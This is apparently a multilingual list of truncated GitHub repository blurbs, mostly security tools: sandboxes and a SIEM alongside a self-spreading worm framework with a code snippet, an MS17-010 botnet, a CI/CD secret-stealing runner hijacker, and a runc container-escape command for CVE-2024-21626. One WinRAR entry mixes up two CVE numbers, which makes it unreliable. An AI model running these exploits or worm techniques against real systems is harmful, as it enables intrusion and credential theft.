sandbox

Concave AI サンドボックス AIコードを安全・高速・信頼せずに実行 Firecracker マイクロVM をベースとした、セルフホスト可能なコード実行サンドボックスプラットフォームです。スナップショットベースのウォームプーリングにより、200ms未満の起動時間を実現します。 概要 Concave は、信頼できないコードを実行するための、安全で隔離されたコード実行環境を提供します。Firecracker マイクロVM、gRPC オーケストレーション、最新のインフラツールを使用して構築されています。 ゴールデンスナップショットによる高速なVMプロビジョニング...

rustdesk

Servers • Build • Docker • Structure • Snapshot Українська | česky | 中文 | Magyar | Español | فارسی | Français | Deutsch | Polski | Indonesian | Suomi | മലയാളം | 日本語 | Nederlands | Italiano | Русский | Português Brasil | Esperanto | 한국어 | العربي | Tiếng Việt | Dansk | Ελληνικά | Türkçe...

aws-security-assessment-solution

Soluciones de evaluación de seguridad de autoservicio v2.0 La ciberseguridad sigue siendo un tema muy importante y un punto de preocupación para muchos CIOs, CISOs y sus clientes. Para abordar estas importantes preocupaciones, AWS ha desarrollado un conjunto principal de servicios que los cliente...

connectwise-automate-AiTM-rce

ConnectWise Automate 中间人攻击远程代码执行 目录 背景 时间线 思考与经验 负责任的披露 PoC 代码 提供给 ConnectWise 的报告 摘要 易受攻击的配置 影响 技术细节 1. HTTP 传输 2. 协议安全性不足（缺少加密和验证） 2.1 依赖检查和下载时验证不足 2.2 缺乏重放保护 2.3 自更新时验证不足 3. RMM 命令控制接管 缓解措施 背景 在一次渗透测试中，我发现了 ConnectWise Automate 远程监控与管理（RMM）代理中的多个漏洞。ConnectWise...

CVE-2026-107695

A flaw was found in FFmpeg. An infinite loop vulnerability in the HTTP Live Streaming HLS demuxer allows remote attackers to cause a Denial of Service DoS. By tricking a user into processing a specially crafted, self-referencing playlist file, an attacker can force the application into an endless...

CVE-2025-54424

CVE-2025-54424 CVE-2025-54424：1Panel クライアント証明書バイパスRCE脆弱性 統合ツール（スキャン＋エクスプロイト） 脆弱性の概要 1Panel は、オープンソースでモダンな Linux 運用管理パネルであり、Web サイトのデプロイ、サーバー管理、サービスの実行をグラフィカルインターフェースで提供します。 影響を受けるバージョンでは、Agent 側の TLS 認証ポリシーが tls.RequireAnyClientCert に設定されており、証明書の提示のみを要求し、その信頼性は検証しません。攻撃者は自己署名証明書を使用して TLS...

neurax

自己拡散ソフトウェアの作成を支援するフレームワーク 概要 Neuraxを利用することで、Golangバイナリは外部サーバーを使わずにLAN/WAN上で拡散できます。 多様な設定オプションとコマンドステージャにより、さまざまな無線環境で迅速な伝搬が可能です。 コード例 package main import . "github.com/redcode-labs/Neurax" func main //提供ポートとステージャの指定 Nrx.Config.Port = 5555 Nrx.Config.Stager = "wget" //バックグラウンドで現在のバイナリを公開するサーバーを起動 ...

clone-cert

clone-cert.sh これは、TLSでラップされたTCPポートに関連付けられたX.509証明書を取得し、opensslを使用して公開鍵を置き換えて署名を修正することで、類似の証明書を作成するシンプルなシェルスクリプトです。 これは特に、自己署名証明書がなぜセキュリティを提供できないかをデモンストレーションしたい場合に便利です。もちろん、クローンされた証明書のフィンガープリントは異なります...しかし、自己署名証明書のフィンガープリントを手動で確認する人はどれだけいるでしょうか？...

HSTP

ネットワーク上のハイパーシンプルテキストプロトコル 今すぐ試す: https://hstp.ai npx hstp; このプロトコルは、ハイパーサービス転送プロトコル（Hyper Service Transfer Protocol）のアプリケーション層抽象化を開発することを目的としています。...

gh-hijack-runner

gh-hijack-runner 一个用于创建伪造 GitHub Runner 并劫持流水线作业以窃取 CI/CD 机密的 Python 脚本。 更多详情请参阅以下博客文章：https://www.synacktiv.com/publications/hijacking-github-runners-to-compromise-the-organization 利用 如果你能获取注册令牌或在自托管 GitHub Runner 上实现远程代码执行，你就可以创建或接管一个 GitHub Runner，从而访问传递给该 Runner 的所有机密。 使用注册令牌，你可以注册一个带有...

CVE-2026-33825

CVE-2026-33825 RedSun PoC para uso propio...

Sentora

Sentora Community Edition Self-hosted security stack for small/mid teams that don't have a dedicated SOC. Drop an agent on each endpoint, point them at the server, and you get SIEM logs, file integrity, package vulnerabilities, an OpenSearch-powered log explorer, autonomous AI triage and a SOAR...

Exploits

漏洞利用 一系列重建和从零编写的漏洞利用程序。 其中一些是为练习而重制的现有漏洞利用程序，另一些是自行发现并带有 CVE 编号的。...

M-Botnet

M-Botnet Disclaimer1: このツールは教育目的のみで使用されます！ Disclaimer2: これは昔書いたものなので、コーディングスキルを判断しないでください :D 基本的なボットネットプロジェクトです。これはワームを制御するC2です。ワームはMS17-010脆弱性を使用してネットワーク全体に自己増殖・拡散します。 このワームを倒すには、WWWとあなたのネットワーク間の通信を遮断してください。...

magescan

Mage Scan The idea behind this is to evaluate the quality and security of a Magento site you don't have access to. The scenario when you're interviewing a potential developer or vetting a new client and want to have an idea of what you're getting into. Installation .phar Download the magescan.pha...

GitHub-gato

Gato Github Attack TOolkit Gato，即 GitHub Attack Toolkit，是一款枚举与攻击工具，可让蓝队人员和攻击性安全从业者评估在 GitHub 组织内被泄露的个人访问令牌（PAT）所造成的影响范围。 该工具还允许搜索并详尽枚举使用自托管运行器的公共仓库。GitHub 建议自托管运行器仅用于私有仓库，然而有数千个组织在使用自托管运行器。 适用对象 希望了解被泄露的经典 PAT 可能为攻击者提供何种访问权限的安全工程师 希望针对自托管运行器攻击构建检测规则的蓝队 红队成员 希望尝试并证明在使用自托管运行器的组织上实现 RCE 的漏洞赏金猎人 功能特性...

CVE-2024-21626

CVE-2024-21626 この脆弱性の詳細な説明については、私の記事を参照してください。 エクスプロイト コンテナの実行によるエクスプロイト カスタムイメージをビルドする必要はありません。-w パラメータを指定してコンテナを実行するだけです: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm 実行中のコンテナへの exec によるエクスプロイト runc 自体によるエクスプロイト /container/runc/runc --version docker run --name...

CVE-2018-20250-WinRAR

CVE-2018-20250-WinRAR このリソースは、作者がWinRARの脆弱性CVE-2020-0601を再現し、関連するリソースや記事を組み合わせて実装したものです。作者的ブログと組み合わせて、この脆弱性を再現し、マルウェアの自動起動ハイジャックの原理を理解することをお勧めします。サイバーセキュリティ初心者として、自分は確かにまだまだですが、頑張り続けたいと思います。一緒に頑張りましょう！...

WhoAmIMailBot

Who Am I Mail Bot それは何ですか？ Who Am I Mail Bot は、あなたのメールをマスクするサービスです。これは Blur に触発されました。Blurでは、メールのエイリアスを作成し、アプリケーションへのサインアップに使用できます。Blurの問題は、すべてのメールが彼らのインフラを通過することであり、私は自分のメールを誰かに見られる必要も望みもありません。そこで、このプロジェクトを作りました。WhoAmIMailBot は Blur サービスに似ていますが、自分のインフラで動作します！ 仕組み 必要なもの： ドメイン（お金をかけないために no-ip...

HaccTheHub

HaccTheHub セルフホスト型のオープンソースサイバーセキュリティ学習プラットフォーム プロジェクトについて HaccTheHubはサイバーセキュリティを提供するオープンソースプロジェクトです。 HaccTheHubシステムは3つの主要部分で構成されています： Docker：学習環境を構成するすべてのボックスを含みます。 バックエンド：Dockerを制御し、システム内の個々のボックスの起動/破棄を担当し、それらを統合システムに結合するネットワークを管理します。 フロントエンド：ユーザーがWebブラウザを介してシステムと対話するためのGUIです。 使用した技術 Flask-RESTX...